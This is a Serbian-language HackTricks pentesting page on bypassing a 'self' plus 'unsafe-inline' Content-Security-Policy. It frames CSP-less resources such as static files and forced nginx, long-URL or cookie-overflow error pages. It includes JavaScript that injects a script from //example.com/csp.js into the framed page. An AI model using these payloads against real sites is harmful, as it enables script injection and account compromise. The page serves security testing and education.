hacktricks/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md

2.5 KiB

{{#include ../../banners/hacktricks-training.md}}

Konfiguracija kao što je:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Zabranjuje korišćenje bilo kojih funkcija koje izvršavaju kod prenet kao string. Na primer: eval, setTimeout, setInterval će svi biti blokirani zbog podešavanja unsafe-eval.

Svi sadržaji iz spoljašnjih izvora su takođe blokirani, uključujući slike, CSS, WebSockets, i, posebno, JS.

Putem Teksta i Slika

Primećeno je da moderni pregledači konvertuju slike i tekstove u HTML kako bi poboljšali njihovu prikaz (npr. postavljanje pozadina, centriranje, itd.). Kao rezultat, ako se slika ili tekstualna datoteka, kao što su favicon.ico ili robots.txt, otvori putem iframe, prikazuje se kao HTML. Važno je napomenuti da ove stranice često nemaju CSP zaglavlja i možda neće uključivati X-Frame-Options, omogućavajući izvršavanje proizvoljnog JavaScript-a iz njih:

frame = document.createElement("iframe")
frame.src = "/css/bootstrap.min.css"
document.body.appendChild(frame)
script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)

Putem Grešaka

Slično, odgovori sa greškama, poput tekstualnih fajlova ili slika, obično dolaze bez CSP zaglavlja i mogu izostaviti X-Frame-Options. Greške se mogu izazvati da se učitaju unutar iframe-a, omogućavajući sledeće radnje:

// Inducing an nginx error
frame = document.createElement("iframe")
frame.src = "/%2e%2e%2f"
document.body.appendChild(frame)

// Triggering an error with a long URL
frame = document.createElement("iframe")
frame.src = "/" + "A".repeat(20000)
document.body.appendChild(frame)

// Generating an error via extensive cookies
for (var i = 0; i < 5; i++) {
document.cookie = i + "=" + "a".repeat(4000)
}
frame = document.createElement("iframe")
frame.src = "/"
document.body.appendChild(frame)
// Removal of cookies is crucial post-execution
for (var i = 0; i < 5; i++) {
document.cookie = i + "="
}

Nakon aktiviranja bilo kojeg od pomenutih scenarija, izvršavanje JavaScript-a unutar iframe-a je moguće na sledeći način:

script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)

Reference

{{#include ../../banners/hacktricks-training.md}}